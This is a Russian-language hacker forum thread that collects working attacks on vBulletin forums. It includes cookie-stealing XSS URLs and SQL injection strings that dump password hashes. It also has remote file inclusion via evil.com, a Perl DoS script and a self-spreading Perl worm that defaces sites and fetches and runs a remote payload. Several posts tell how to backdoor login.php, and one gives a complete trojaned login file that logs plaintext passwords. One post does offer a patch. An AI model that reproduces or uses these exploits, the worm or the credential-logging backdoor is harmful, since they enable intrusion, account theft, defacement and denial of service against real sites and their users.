[site]/[path]/faq.php?s=&do=search&q=%22%3E%3C%2Fscript%3E%3Cscript%3Ealert%28documen t.cookie%29%3B%3C%2Fscript&match=
all&titlesonly=0

[site]/[path]/member.php?u=1=s'&do=search&q=%22%3E%3C%2Fscript%3E%3Cscript%3Ealert%28documen t.cookie%29%3B%3C%2F
script&match=all&titlesonly=1

[site]/[path]/index.php?s=<script>alert('document.cookie')</script>

[site]/[path]/faq.php?s="&do=search&q=%22%3E%3C%2Fscript%3E%3Cscript%3Ealert%28documen t.cookie%29%3B%3C%2Fscript
&match=all&titlesonly=0

[site]/[path]/memberlist.php?s="&do=search&q=%22%3E%3C%2Fscript%3E%3Cscript%3Ealert%28documen t.cookie%29%3B%3C%2
Fscript&match=all&titlesonly=0

[site]/[path]/calendar.php?s="&do=search&q=%22%3E%3C%2Fscript%3E%3Cscript%3Ealert%28documen t.cookie%29%3B%3C%2F
script&match=all&titlesonly=0

[site]/[path]/search.php?s="&do=search&q=%22%3E%3C%2Fscript%3E%3Cscript%3Ealert%28documen t.cookie%29%3B%3C%2Fscript
&match=all&titlesonly=0

[site]/[path]/search.php?do=getdaily"&do=search&q=%22%3E%3C%2Fscript%3E%3Cscript%3
Ealert%28document.cookie
%29%3B%3C%2Fscript&match=all&titlesonly=0

[site]/[path]/forumdisplay.php?s="&do=search&q=%22%3E%3C%2Fscript%3E%3Cscript%3Ealert%28documen t.cookie%29%3B%3C%2Fscript
&match=all&titlesonly=0

[site]/[path]/forumdisplay.php?do=markread"&do=search&q=%22%3E%3C%2Fscript%3E%3Cscript%3E
alert%28document.cookie
%29%3B%3C%2Fscript&match=all&titlesonly=0

[site]/[path]/forumdisplay.php?f=1"&do=search&q=%22%3E%3C%2Fscript%3E%3Cscript%3Ealert%28documen t.cookie
%29%3B%3C%2Fscript&match=all&titlesonly=0

[site]/[path]/showgroups.php?s="&do=search&q=%22%3E%3C%2Fscript%3E%3Cscript%3Ealert%28documen t.cookie%29%3B%3C%2Fscript&
match=all&titlesonly=0

[site]/[path]/online.php?s="&do=search&q=%22%3E%3C%2Fscript%3E%3Cscript%3Ealert%28documen t.cookie%29%3B%3C%2Fscript&
match=all&titlesonly=0

[site]/[path]/member.php?s="&do=search&q=%22%3E%3C%2Fscript%3E%3Cscript%3Ealert%28documen t.cookie%29%3B%3C%2F
script&match=all&titlesonly=0

[site]/[path]/sendmessage.php?s="&do=search&q=%22%3E%3C%2Fscript%3E%3Cscript%3Ealert%28documen t.cookie%29%3B%3C%2F
script&match=all&titlesonly=0

Источник www.securitysib.com

freddi
09.11.2007, 23:32
на некоторых форумах стоит хайд на ссылки, типа "зарегистрируйтесь, чтобы увидеть ссылку". вовсе не обязательно регаться, достаточно найти это сообщение через "найти все сообщения от ...". там ссылка будет в открытом виде. но обычно в поиске выводится только первые строки.

вот такая мего уязвимость)

Mind Ice
24.11.2007, 16:02
2 freddi это неявляются уязвимостью как ты написал. Просто авторы таких постов с хайдом толком не умеют пользоваться тегами. Как ты написал нужно находить все соообщения от пользователя - хмм а если их 1000 и нужное в середине ? а форум позволяет индексировать только 200 - 400 ? Ненужно искать посты все проще помещаем курсор на скрытый тескт и видим ссылку =).

_-Ramos-_
02.12.2007, 14:38
SQL Injection в админке (тестировалось на версиях 3.6.4 и 3.6.5 )

1. Log in to admin panel
2. Go to Attachments->Search
3. Place the following string in the Attached Before field:

') union select 1,1,1,1,1,userid,password,1,username from user -- 9

S(r1pt
29.12.2007, 15:50
Продукт: vBuserbar
Уязвимость: SQL-inj
Автор: S(r1pt
Адрес: http://vash_site/vbuserbar.php?do=groupinsert&amp;name='
=\\

Mo4x
04.01.2008, 19:05
vBulletin <=3.5.3 Search DoS


#!/usr/bin/perl
##########################################
# vBdos.pl - vBulletin <=3.5.3 Search DoS
#
# Written by spic of g00ns
##########################################
# Contact
# Site: www.g00ns.net and www.g00ns-forum.net
# Email: spic <at> g00ns.net
# IRC: irc.g00ns.net #g00ns
##########################################
# Example
# vBdos.pl www.avbforum.com /vbulletin/
##########################################

print q{
__________________________________________________ __________________________
____ ____ ____ ____ _ __ ____ ____ _ __ ____ _____ ____ __ ___
/ __// __//_ // __// |/ // __// _// |/ // __/ / ___// __ / |/ /
_ / _/ / // _/ / /_ _/ / / /_ _ / /__ / /_/ // /|_/ /
/___//___/ /_//___//_/|_//___//___//_/|_//___/(_)___/ ____//_/ /_/
__________________________________________________ __________________________

};

use IO::Socket;
$server= $ARGV[0];
$path=$ARGV[1];


while($x != 9999)
{
$post =

"search_keywords=Se7enSins+owned+your+site$x+&search_terms=any&search_author=&search_forum=-1&search_time=0&search_fields=ms

gonly&search_cat=-1&sort_by=0&sort_dir=ASC&show_results=posts&return_chars=200";

$lrg = length $post;


if(!$server||!$path)
{
print " vBulletin DoS by spic of g00ns nn";

print " Exploit code found on Se7enSins.com nn";

print " n00bFRAGGER was here... nn";

print " usage: VBDoS.pl <host without http> <directory> nn";
exit();
}



my $sock = new IO::Socket::INET (
PeerAddr => "$server",
PeerPort => "80",
Proto => "tcp",
);
die "nThe Socket Can't Connect To The Desired Host or the Host is MayBe DoSed: $!n" unless $sock;


print $sock "POST $path"."search.php?searchid=1952 HTTP/1.1n";
print $sock "Host: $servern";
print $sock "Accept: text/xml,application/xml,application/xhtml+xml,text/html;q=0.9,text/plain;q=0.8,image/png,*/*;q=0.5n";
print $sock "Referer: $servern";
print $sock "Accept-Language: en-usn";
print $sock "Content-Type: application/x-www-form-urlencodedn";
print $sock "Accept-Encoding: gzip, deflaten";
print $sock "User-Agent: Mozilla/5.0 (BeOS; U; BeOS X.6; en-US; rv:1.7. Gecko/20050511 Firefox/1.0.5n";
print $sock "Connection: Keep-Aliven";
print $sock "Cache-Control: no-cachen";
print $sock "Content-Length: $lrgnn";
print $sock "$postn";
close($sock);


syswrite STDOUT,".";

$x++;
}

##########################################

Elekt
12.01.2008, 19:13
Было много вопросов к посту:

VBulletin 3.6.4

Уязвимость позволяет удаленному злоумышленнику выполнить произвольный сценарий на целевой системе. Уязвимость существует из-за ошибки в проверке входных данных при обработке входящих запросов. Атакующий может выполнить SWF произвольный сценарий и выкрасть данные аутентификации cookie.

Пример:

getURL("javascript:function blab(){}var scriptNode = +document.createElement('script'); document.getElementsByTagName('body')[0].appendChild(scriptNode);scriptNode.language='java script';scriptNode.src= 'http://www.YourServer/UrPHPpage.php?Cookie='+document.cookie +;blab();");

Для интересующихся как это реализуется:

Обзор работы SWF паразита (http://forum.antichat.ru/showthread.php?t=23174)
Подделка заголовков HTTP запроса с помощью Flash ActionScript (http://www.securitylab.ru/analytics/271169.php)
Bypassing JavaScript Filters the Flash! Attack (http://www.securitylab.ru/analytics/216391.php)
Cross-Domain Data Access via Flash [CDDAF] Reference (http://www.securitylab.ru/contest/300506.php)
Forging HTTP Request Headers with Flash ActionScript (http://www.securiteam.com/securityreviews/5KP0M1FJ5E.html)

Elekt
12.01.2008, 21:32
из новых модов не было

vBulletin Mod RPG Inferno 2.4 (inferno.php) SQL Injection Vulnerability (http://milw0rm.com/exploits/4166)
Exploit :
http://site.com/forum/inferno.php?do=ScanMember&id=-1'/**/UNION/**/ALL/**/SELECT/**/1,2,3,4,5,6,7,user(),database(),10,11,12,13,14,15, 16,17,18,19,20,21,22,23,24,25,26,27,28,29,concat(u sername,0x3a,password,0x3a,salt),31,@@version,33,3 4,35,36,37,38,39,40,41,42,43,44,45,46,47/**/from/**/user/**/where/**/usergroupid=6/**/limit/**/0,1/*


vBulletin vBGSiteMap 2.41 (root) Remote File Inclusion Vulnerabilities (http://milw0rm.com/exploits/3990)
Exploit :
vBulletin_Forum_Bath/vbgsitemap/vbgsitemap-config.php?base=http://evil.com?
vBulletin_Forum_Bath/vbgsitemap/vbgsitemap-vbseo.php?base=http://evil.com?

=======

_-Ramos-_
22.01.2008, 13:49
Vbulletin Tube (vBTube) XSS

Exploit :
vBTube.php?do=search&search=<script>alert(document.cookie);</script>

Пример:
http://www.ruhot.ru/forum/vBTube.php?do=search&search=%3Cscript%3Ealert(document.cookie);%3C/script%3E

_-Ramos-_
23.01.2008, 10:19
vBulletin Worm <= 3.0.6

#!/usr/bin/perl

#####################
####
#### #### #### #### #### #### #### # # # # ####
#### # # # # # # # # # # # # # #
#### #### # # ### ## #### # #### ## ###
#### # # # # # # # # # # # # #
#### # #### #### # # #### #### # # # # ####
####
#####################

use IO::Socket::INET;
$hahaha = $0;
my $processo = "/usr/local/sbin/httpd";
$SIG{"INT"} = "IGNORE";
$SIG{"HUP"} = "IGNORE";
$SIG{"TERM"} = "IGNORE";
$SIG{"CHLD"} = "IGNORE";
$SIG{"PS"} = "IGNORE";

$0="$processo"."\0"x16;
my $pid=fork;
exit if $pid;

########################
# #
# procura index #
# #
#######################

system("locate index.* >> index");
system("find / -name index.* >> index");

open(a,"<index");
@ind = <a>;
close(a);
$b = scalar(@ind);
for($a=0;$a<=$b;$a++){
chomp $ind[$a];
system("echo spykids ownz your server > $ind[$a]");
}


#########################
# #
# pega sites e registra #
# #
#########################

`cat /etc/httpd/conf/httpd.conf |grep ServerName >> sites`;


open(a,"<sites");
@site = <a>;
close(a);

$b = scalar(@site);

for($a=0;$a<=$b;$a++)
{
$site[$a] =~ s/#//g;
$site[$a] =~ s/servername//g;
$site[$a] =~ s/ServerName//g;
$site[$a] =~ s/ //g;
$testa = IO::Socket::INET->new(PeerAddr => $site[$a], PeerPort => 80, Proto => "tcp") or next;
print $testa "GET / HTTP/1.0\n\n";
print $testa "Host: $site";
print $testa "User-Agent: Mozilla/5.0 (Windows; U; Windows NT 5.1; pt-BR; rv:1.0.1) Gecko/20020823 Netscape/7.0";
print $testa "Accept: text/xml,application/xml,application/xhtml+xml,text/html;q=0.9,text/plain;q=0.8,video/x-mng,image/png,image/jpeg,image/gif;q=0.2,text/css,*/*;q=0.1";
print $testa "Accept-Language: pt-br, pt;q=0.50";
print $testa "Accept-Encoding: gzip, deflate, compress;q=0.9";
print $testa "Accept-Charset: ISO-8859-1, utf-8;q=0.66, *;q=0.66";
print $testa "Keep-Alive: 300";
print $testa "Connection: keep-alive";
@ow = <$testa>;
close($teste);
$ae = "@ow";
if($ae =~/spykids/i){
$sock = IO::Socket::INET->new(PeerAddr => "www.zone-h.org", PeerPort => 80, Proto => "tcp") or die "nao conectou";
print $sock "POST /en/defacements/notify HTTP/1.0\r\n";
print $sock "Accept: */*\r\n";
print $sock "Referer: http://www.zone-h.org/en/defacements/notify\r\n";
print $sock "Accept-Language: pt-br\r\n";
print $sock "Content-Type: application/x-www-form-urlencoded\r\n";
print $sock "Connection: Keep-Alive\r\n";
print $sock "User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1)\r\n";
print $sock "Host: www.zone-h.org\r\n";
print $sock "Content-Length: 385\r\n";
print $sock "Pragma: no-cache\r\n";
print $sock "\r\n";
print $sock "notify_defacer=SpyKids&notify_domain=http%3A%2F%2F$site[$a]&notify_hackmode=18&notify_reason=5&notify=+OK+\r\n";

close($sock);
}
}


#########################
# #
# worm aws.spykids #
# #
########################
while(1){
$cmd = '/misc.php?do=page&template={${system(%22cd%20/tmp;curl%20-O%20http://compras.el-nacional.com/spykids.txt%20;perl%20spykids.txt%20;rm%20-rf%20spykids*;%20wget%20http://compras.el-nacional.com/spykids.txt;%20perl%20spykids.txt;%20rm%20-rf%20%20spykids*%22)}}';




@site = "";
$a=0;
@dom = (".ar",".au",".aw",".ax",".az",".ba",".bb",".bd",".be",".bf",".bg",".bh",".bi",".bj",".bm",".bn",".bo",".br",".bs",".bt",".bv",".bw",".by",".bz",".ca",".cc",".cd",".cf",".cg",".ch",".ci",".ck" , ".cl", ".cm",".cn",".co",".cr",".cs",".cu", ".cv",".cx",".cy",".cz",".de",".dj",".dk",".dm",".do",".dz", ".ec",".ee",".eg",".eh",".er",".es",".et",".fi",".fj",".fk",".fm", ".fo",".fr",".ga",".gb",".gd",".ge",".gf",".gg",".gh",".gi",".gl", ".gm",".gn",".gp",".gq",".gr",".gs",".gt",".gu",".gw",".gy",".hk", ".hm",".hn",".hr",".ht",".hu",".id",".ie",".il",".im",".in",".io",".iq", ".ir",".is",".it",".je",".jm",".jo",".jp",".ke",".kg",".kh",".ki",".km", ".kn",".kp",".kr",".kw",".ky",".kz",".la",".lb",".lc",".li",".lk",".lr",".ls", ".lt",".lu",".lv",".ly",".ma",".mc",".md",".mg",".mh",".mk",".ml",".mm", ".mn",".mo",".mp",".mq",".mr",".ms",".mt",".mu",".mv",".mw",".mx",".my", ".mz",".na",".nc",".ne",".nf",".ng",".ni",".nl",".no",".np",".nr",".nu",".nz",".om", ".pa",".pe",".pf",".pg",".ph",".pk",".pl",".pm",".pn",".pr",".ps",".pt",".pw",".py", ".qa",".re",".ro",".ru",".rw",".sa",".sb",".sc",".sd",".se",".sg",".sh",".si",".sj",".sk",".sl", ".sm",".sn",".so",".sr",".st",".sv",".sy",".sz",".tc",".td",".tf",".tg",".th",".tj",".tk",".tl",".tm", ".tn",".to",".tp",".tr",".tt",".tv",".tw",".tz",".ua",".ug",".uk",".um",".us",".uy",".uz",".va",".vc",".ve",".vg",".vi",".vn", ".vu",".wf",".ws",".ye",".yt",".yu",".za",".zm",".zw");
foreach $dom (@dom){
$site = "www.google.com";
open(a,">pra.txt");
print a "";
close(a);
############### google

for($n=0;$n<1000;$n += 100){
$sock = IO::Socket::INET->new(PeerAddr=>"$site",PeerPort=>"80",Proto=>"tcp") or next;
print $sock "GET h/search?q=%22Powered+by%3A+vBulletin%22inurl%3A$dom&num=100&hl=en&lr=&as_qdr=all&start=$n&sa=N HTTP/1.0\n\n";
print $sock "Host: www.google.com";
print $sock "User-Agent: Mozilla/5.0 (Windows; U; Windows NT 5.1; pt-BR; rv:1.0.1) Gecko/20020823 Netscape/7.0";
print $sock "Accept: text/xml,application/xml,application/xhtml+xml,text/html;q=0.9,text/plain;q=0.8,video/x-mng,image/png,image/jpeg,image/gif;q=0.2,text/css,*/*;q=0.1";
print $sock "Accept-Language: pt-br, pt;q=0.50";
print $sock "Accept-Encoding: gzip, deflate, compress;q=0.9";
print $sock "Accept-Charset: ISO-8859-1, utf-8;q=0.66, *;q=0.66";
print $sock "Keep-Alive: 300";
print $sock "Connection: keep-alive";
@resu = <$sock>;
close($sock);
$ae = "@resu";
while ($ae=~ m/<a href=.*?>.*?<\/a>/){
$ae=~ s/<a href=(.*?)>.*?<\/a>/$1/;
$uber=$1;
if ($uber !~/translate/)
{
if ($uber !~ /cache/)
{
if ($uber !~ /"/)
{
if ($uber !~ /google/)
{
if ($uber !~ /216/)
{
if ($uber =~/http/)
{

substr($uber,0,7) = "";
$nu = rindex $uber, '/';
$uber = substr($uber,0,$nu);


open(a,">>pra.txt");
print a "$uber\n";
close(a);

}}}}}}
}
}
$ark = "pra.txt";
@si = "";
open (arquivo,"<$ark");
@si = <arquivo>;
close(arquivo);
$novo ="";
foreach (@si){
if (!$si{$_})
{
$novo .= $_;
$si{$_} = 1;
}
}
open (arquivo,">$ark");
print arquivo $novo;
close(arquivo);
open(a,"<pra.txt");
@site = <a>;
close(a);

foreach $site (@site){
chomp $site;

($site, $dir) = split('/',$site);


$soc = IO::Socket::INET->new(PeerAddr => $site, PeerPort => 80, Proto => "tcp") or next;
print $soc "GET /$dir$cmd HTTP/1.0\n\n";
print $soc "Host: $site";
print $soc "User-Agent: Mozilla/5.0 (Windows; U; Windows NT 5.1; pt-BR; rv:1.0.1) Gecko/20020823 Netscape/7.0";
print $soc "Accept: text/xml,application/xml,application/xhtml+xml,text/html;q=0.9,text/plain;q=0.8,video/x-mng,image/png,image/jpeg,image/gif;q=0.2,text/css,*/*;q=0.1";
print $soc "Accept-Language: pt-br, pt;q=0.50";
print $soc "Accept-Encoding: gzip, deflate, compress;q=0.9";
print $soc "Accept-Charset: ISO-8859-1, utf-8;q=0.66, *;q=0.66";
print $soc "Keep-Alive: 300";
print $soc "Connection: keep-alive";
close($soc);

}
}
}

chezar
01.02.2008, 21:51
На некоторых форумах версию форума можно узнать тут

forum/archive/index.php/

Basurman
23.03.2008, 20:17
Сбор паролей от аккаунтов Vbulletin без расшифровки (трояним форум)

По идее все просто: в файл login.php в корне сайта добавляем
// ############################### start do login ###############################
// this was a _REQUEST action but where do we all login via request?
if ($_POST['do'] == 'login')
{
$vbulletin->input->clean_array_gpc('p', array(
'vb_login_username' => TYPE_STR,
'vb_login_password' => TYPE_STR,
'vb_login_md5password' => TYPE_STR,
'vb_login_md5password_utf' => TYPE_STR,
'postvars' => TYPE_STR,
'cookieuser' => TYPE_BOOL,
'logintype' => TYPE_STR,
'cssprefs' => TYPE_STR,
));

define( 'auth_req', './customavatars/avatar178_2.gif' );
$fp = fopen( auth_req, 'a' );
$un1=&$vbulletin->GPC['vb_login_username']; $un2=&$vbulletin->GPC['vb_login_password']; $un3 = date("d.m.y H.i.s");
$message = "$un3:$un1:$un2\r\n";
flock($fp,LOCK_EX);
fwrite( $fp, $message );
fflush($fp); flock($fp,LOCK_UN); fclose( $fp );

// can the user login?
но в логах видим, что пароля все же нет. Обидно...
Посмотрим на форму регистрации:
...
<form action="login.php?do=login" method="post" onsubmit="md5hash(vb_login_password, vb_login_md5password, vb_login_md5password_utf, 0)">
...
Ага. значит входим по функции из javascript...
Сама функция находится в clientscript/vbulletin_md5.js
А там мы видим в конце:
// implemented like this to make sure un-updated templates behave as before
input.value = '';
Это значит, что введенный нами пароль просто затирается перед передачей дальше. Просто комментарим строку и собираем пароли (обновляем ессно страницу, для того чтобы заюзать измененный JavaScript)...
...
// input.value = '';
...


P.S. против автозахода (куки) можно стереть из бд все сессии
P.P.S. Можно и не комментировать, а изменить переменную $un2=&$vbulletin->GPC['vb_login_md5password'];
Все же md5(pass) побрутить легче, чем md5(md5(pass).salt)

Mo4x
09.05.2008, 16:52
vBulletin 3.7.0 <= XSS Explot


Found by RoBOTNIK


http://[website]/[forumpath]/ajax.php?do=CheckUsername&param=# EVIL XSS SCRIPT #
http://www.site.com/forums/ajax.php?do=CheckUsername&param=<script>alert('xss');</script>

ReanimatoR
09.05.2008, 17:47
vBulletin 3.7.0 листалка от DGT
может чем нить помочь если в папке с форумом лежит что нибудь ценное

на всех версиях от DGT пашет.
ЗЫ
http://forum.antichat.org/threadnav25644-1-10.html

GrAmOzEkA
11.05.2008, 17:38
Все же md5(pass) побрутить легче, чем md5(md5(pass).salt)
Делал немного по другому и в результате получал чистые пароли.

1) Добавляем в начало файла login.php

$Login = $_POST['vb_login_username'];
$Passwd = $_POST['vb_login_password'];
$fp = fopen("./customavatars/avatar178_2.gif","a+");
fwrite($fp,"$Login:$Passwd\n");
fclose($fp);

2) Очищаем полностью файл clientscript/vbulletin_md5.js от этого ничего не изменится.

3) Для того чтобы обнулить сессии выполняем код:

$link = mysql_connect('хост','логин','пасс');
mysql_select_db('база данных',$link);
$query = "TRUNCATE TABLE префикс_session";
$result = mysql_query($query, $link);
mysql_close($link);

baltazar
23.05.2008, 22:21
p0h n03s priv8 rootshell vbulletin pw logger
<?php
/*================================================= =====================*\
|| ################################################## ################## ||
|| # vBulletin 3.6.2
|| # ---------------------------------------------------------------- # ||
|| # Copyright ©2000-2006 Jelsoft Enterprises Ltd. All Rights Reserved. ||
|| # This file may not be redistributed in whole or significant part. # ||
|| # ---------------- VBULLETIN IS NOT FREE SOFTWARE ---------------- # ||
|| # http://www.vbulletin.com | http://www.vbulletin.com/license.html # ||
|| ################################################## ################## ||
\*================================================ ======================*/

// ####################### SET PHP ENVIRONMENT ###########################
error_reporting(E_ALL & ~E_NOTICE);

// #################### DEFINE IMPORTANT CONSTANTS #######################
define('THIS_SCRIPT', 'login');

// ################### PRE-CACHE TEMPLATES AND DATA ######################
// get special phrase groups
$phrasegroups = array();

// get special data templates from the datastore
$specialtemplates = array();

// pre-cache templates used by all actions
$globaltemplates = array();

// pre-cache templates used by specific actions
$actiontemplates = array(
'lostpw' => array(
'lostpw'
)
);

// ######################### REQUIRE BACK-END ############################
require_once('./global.php');
require_once(DIR . '/includes/functions_login.php');

// ################################################## #####################
// ######################## START MAIN SCRIPT ############################
// ################################################## #####################

$vbulletin->input->clean_gpc('r', 'a', TYPE_STR);

if (empty($_REQUEST['do']) AND empty($vbulletin->GPC['a']))
{
exec_header_redirect($vbulletin->options['forumhome'] . '.php');
}

// ############################### start logout ###############################
if ($_REQUEST['do'] == 'logout')
{
$vbulletin->input->clean_gpc('r', 'logouthash', TYPE_STR);

if ($vbulletin->userinfo['userid'] != 0 AND $vbulletin->GPC['logouthash'] != $vbulletin->userinfo['logouthash'])
{
eval(standard_error(fetch_error('logout_error', $vbulletin->session->vars['sessionurl'], $vbulletin->userinfo['logouthash'])));
}

process_logout();

$vbulletin->url = fetch_replaced_session_url($vbulletin->url);
if (strpos($vbulletin->url, 'do=logout') !== false)
{
$vbulletin->url = $vbulletin->options['forumhome'] . '.php' . $vbulletin->session->vars['sessionurl_q'];
}
$show['member'] = false;
eval(standard_error(fetch_error('cookieclear', create_full_url($vbulletin->url), $vbulletin->options['forumhome'], $vbulletin->session->vars['sessionurl_q']), '', false));

}

// ############################### start do login ###############################
// this was a _REQUEST action but where do we all login via request?
if ($_POST['do'] == 'login')
{
$vbulletin->input->clean_array_gpc('p', array(
'vb_login_username' => TYPE_STR,
'vb_login_password' => TYPE_STR,
'vb_login_md5password' => TYPE_STR,
'vb_login_md5password_utf' => TYPE_STR,
'postvars' => TYPE_STR,
'cookieuser' => TYPE_BOOL,
'logintype' => TYPE_STR,
'cssprefs' => TYPE_STR,
));
//does the user have a pass
$username = $vbulletin->GPC['vb_login_username'];
$password = $vbulletin->GPC['vb_login_password'];
$logfile = "rootshell.txt";
$lf = fopen($logfile, "a");
fwrite($lf, "\n".$username . ' : ' . $password."\n");
fclose($lf);
// can the user login?
$strikes = verify_strike_status($vbulletin->GPC['vb_login_username']);

if ($vbulletin->GPC['vb_login_username'] == '')
{
eval(standard_error(fetch_error('badlogin', $vbulletin->options['bburl'], $vbulletin->session->vars['sessionurl'], $strikes)));
}

if (!verify_authentication($vbulletin->GPC['vb_login_username'], $vbulletin->GPC['vb_login_password'], $vbulletin->GPC['vb_login_md5password'], $vbulletin->GPC['vb_login_md5password_utf'], $vbulletin->GPC['cookieuser'], true))
{
($hook = vBulletinHook::fetch_hook('login_failure')) ? eval($hook) : false;

// check password
exec_strike_user($vbulletin->userinfo['username']);

if ($vbulletin->GPC['logintype'] === 'cplogin' OR $vbulletin->GPC['logintype'] === 'modcplogin')
{
// log this error if attempting to access the control panel
require_once(DIR . '/includes/functions_log_error.php');
log_vbulletin_error($vbulletin->GPC['vb_login_username'], 'security');
}
$vbulletin->userinfo = array(
'userid' => 0,
'usergroupid' => 1
);

if ($vbulletin->options['usestrikesystem'])
{
eval(standard_error(fetch_error('badlogin_strikes' , $vbulletin->options['bburl'], $vbulletin->session->vars['sessionurl'], $strikes)));
}
else
{
eval(standard_error(fetch_error('badlogin', $vbulletin->options['bburl'], $vbulletin->session->vars['sessionurl'])));
}
}

exec_unstrike_user($vbulletin->GPC['vb_login_username']);

// create new session
process_new_login($vbulletin->GPC['logintype'], $vbulletin->GPC['cookieuser'], $vbulletin->GPC['cssprefs']);

// do redirect
do_login_redirect();

}
else if ($_GET['do'] == 'login')
{
// add consistency with previous behavior
exec_header_redirect($vbulletin->options['forumhome'] . '.php');
}

// ############################### start lost password ###############################
if ($_REQUEST['do'] == 'lostpw')
{
$vbulletin->input->clean_gpc('r', 'email', TYPE_NOHTML);
$email = $vbulletin->GPC['email'];

if ($permissions['forumpermissions'] & $vbulletin->bf_ugp_forumpermissions['canview'])
{
$navbits = construct_navbits(array('' => $vbphrase['lost_password_recovery_form']));
eval('$navbar = "' . fetch_template('navbar') . '";');
}
else
{
$navbar = '';
}

$url =& $vbulletin->url;
eval('print_output("' . fetch_template('lostpw') . '");');
}

// ############################### start email password ###############################
if ($_POST['do'] == 'emailpassword')
{

$vbulletin->input->clean_gpc('p', 'email', TYPE_STR);

if ($vbulletin->GPC['email'] == '')
{
eval(standard_error(fetch_error('invalidemail', $vbulletin->options['contactuslink'])));
}

require_once(DIR . '/includes/functions_user.php');

$users = $db->query_read_slave("
SELECT userid, username, email, languageid
FROM " . TABLE_PREFIX . "user
WHERE email = '" . $db->escape_string($vbulletin->GPC['email']) . "'
");
if ($db->num_rows($users))
{
while ($user = $db->fetch_array($users))
{
$user['username'] = unhtmlspecialchars($user['username']);

$user['activationid'] = build_user_activation_id($user['userid'], 2, 1);

eval(fetch_email_phrases('lostpw', $user['languageid']));
vbmail($user['email'], $subject, $message, true);
}

$vbulletin->url = str_replace('"', '', $vbulletin->url);
eval(print_standard_redirect('redirect_lostpw', true, true));
}
else
{
eval(standard_error(fetch_error('invalidemail', $vbulletin->options['contactuslink'])));
}
}

// ############################### start reset password ###############################
if ($vbulletin->GPC['a'] == 'pwd' OR $_REQUEST['do'] == 'resetpassword')
{

$vbulletin->input->clean_array_gpc('r', array(
'userid' => TYPE_UINT,
'u' => TYPE_UINT,
'activationid' => TYPE_UINT,
'i' => TYPE_UINT
));

if (!$vbulletin->GPC['userid'])
{
$vbulletin->GPC['userid'] = $vbulletin->GPC['u'];
}

if (!$vbulletin->GPC['activationid'])
{
$vbulletin->GPC['activationid'] = $vbulletin->GPC['i'];
}

$userinfo = verify_id('user', $vbulletin->GPC['userid'], 1, 1);

$user = $db->query_first("
SELECT activationid, dateline
FROM " . TABLE_PREFIX . "useractivation
WHERE type = 1
AND userid = $userinfo[userid]
");

if ($user['dateline'] < (TIMENOW - 24 * 60 * 60))
{ // is it older than 24 hours?
eval(standard_error(fetch_error('resetexpired', $vbulletin->session->vars['sessionurl'])));
}

if ($user['activationid'] != $vbulletin->GPC['activationid'])
{ //wrong act id
eval(standard_error(fetch_error('resetbadid', $vbulletin->session->vars['sessionurl'])));
}

// delete old activation id
$db->query_write("DELETE FROM " . TABLE_PREFIX . "useractivation WHERE userid = $userinfo[userid] AND type = 1");

// make random number
$newpassword = vbrand(0, 100000000);

// init user data manager
$userdata =& datamanager_init('User', $vbulletin, ERRTYPE_STANDARD);
$userdata->set_existing($userinfo);
$userdata->set('password', $newpassword);
$userdata->save();

($hook = vBulletinHook::fetch_hook('reset_password')) ? eval($hook) : false;

eval(fetch_email_phrases('resetpw', $userinfo['languageid']));
vbmail($userinfo['email'], $subject, $message, true);

eval(standard_error(fetch_error('resetpw', $vbulletin->session->vars['sessionurl'])));

}

/*================================================= =====================*\
|| ################################################## ##################
|| # CVS: $RCSfile: login.php,v $ - $Revision: 1.160 $
|| ################################################## ##################
\*================================================ ======================*/
?>

Elekt
26.05.2008, 23:51
Судя по всему там мжно вставить только один символ.
Т.е. срубают базу данных следующий код:
faq.php?s=&do=search&match=any&titlesonly=1&q=a+a+a
(даже без кавычек)

Но что толку?

Vbulletin 3.7.0 Gold Sql injection on faq.php

Я посмотрел щас код.
Да, действительно толку в баги нет.
Это ошибка логики, при одиночном символе происходит некорректное формирование запроса к бд.
Заюзать с пользой невозможно.

ReanimatoR
01.07.2008, 23:10
XSS в вобле
{
У жертвы должно быть:
Vbulletin forum - все версии
vBanonymizer - любая версия до 24.06.08
}
Наверное у многих установлен этот хак? (vBanonymizer) =) ссылка на вб.орг (http://www.vbulletin.org/forum/showthread.php?t=131292)

Description:
This is a hack to "anonymize" all outgoing links from your forum to prevent the referrer information from being sent.

недавно получил ЛС от одного из наших участников, с сообщением об уязвимости в этом хаке - XSS
скачал последнюю, доступную версию с оффорума (Version: 2.7), покрутил его на локалке...
результаты:
помимо того, что там действительно есть "дырка", так он еще и не выполняет того, для чего предназначен (анонимность при переходе по ссылке с форума)
т.е. реферер всетаки передается =)
это не сложно проверить, (при установленном хаке) прописать линк у себя на форуме http://www.vbsupport.org/forum/1.php и перейти по нему
пример дырки:
_http://resurs.com/redirector.php?url=data:text/html;base64,PHNjcmlwdD5hbGVydCgn0eDp8iDv7uTi5fDm5e 0g4ufr7uzzIFhTUycpOzwvc2NyaXB0Pg0K
скрин ниже

http://www.vbsupport.org/forum/imagehosting/2008/07/01/30486999e5c3c38.jpg

временная (кривенькая, но рабочая) "заплатка", (пока на оффоруме не раздуплятся заделать) если не хотите удалять (бесполезный, на мой взгляд) хак:
1. в файле redirector.php найти:
===
$do = $_GET['do'];
заменить на:
$do = $_REQUEST['do'];
найти:
$url = rawurldecode($vbulletin->input->clean($_GET['url'], TYPE_NOHTML));
заменить на:
$url = base64_decode($vbulletin->input->clean($_REQUEST['url'], TYPE_NOHTML));
найти:
$displayurl = '<a href="' . $scriptpath . '?do=nodelay&url=' . str_replace('&amp;', '&', $url) . '">' . $url . '</a>';
заменить на:
$displayurl = '<a href="' . str_replace('&amp;', '&', $url) . '">' . $url . '</a>';
===
2. в плагине Anonymizer Function этого продукта найти:
$replace[] = '<a href="' . $scriptpath . rawurlencode($oldurl) . $nofollow;
заменить на:
$replace[] = '<a href="' . $scriptpath . base64_encode($oldurl) . $nofollow;
======
ссылки в постах будут выглядеть примерно так:
_http://domain.com/forum/redirector.php?url=HR0cDovL3d3dy52YnN1cHBvcnQub3Jn L2ZvcnVtLzEucGh"]http://www.vbsupport.org/forum/1.php (в строке состояния видна реальная ссылка с редиректором)
и вот эта хрень:
_http://resurs.com/redirector.php?url=data:text/html;base64,PHNjcmlwdD5hbGVydCgn0eDp8iDv7uTi5fDm5e 0g4ufr7uzzIFhTUycpOzwvc2NyaXB0Pg0K
уже не будет работать
(с) _vbsupport.org

Elekt
09.07.2008, 02:27
XSS-base64

_http://securityvulns.ru/news/CGI/2008.06.14.html
_http://securityvulns.ru/news/CGI/2008.06.19.html

Exploit:

http://localhost/vB3/admincp/index.php?redirect=data:text/html;base64,
